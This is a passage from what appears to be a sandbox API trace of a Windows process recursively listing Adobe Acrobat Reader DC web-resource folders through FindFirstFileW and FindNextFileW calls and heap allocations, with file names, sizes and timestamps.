ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.609] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.609] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0273.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.609] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0273.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.609] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0273.610] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.610] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.610] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.610] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0273.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.610] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0273.610] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.610] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0273.611] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.611] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.611] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.611] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0273.611] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.611] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0273.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315830 [0273.612] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.612] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.612] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb8a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.612] FindClose (in: hFindFile=0x3315830 | out: hFindFile=0x3315830) returned 1 [0273.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.612] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0273.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.612] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0273.613] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.613] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.613] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.613] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0273.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.613] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0273.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0273.614] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.614] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.614] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.614] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0273.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.614] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.614] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.614] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0273.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0273.614] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0273.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0273.615] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0273.617] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.617] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-selector.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0273.617] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-tool-view.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0273.617] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-selector.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0273.617] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62167, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-tool-view.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0273.618] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0273.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.618] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0273.620] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.620] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="convertpdf-rna-selector.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0273.621] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="convertpdf-rna-tool-view.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0273.621] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 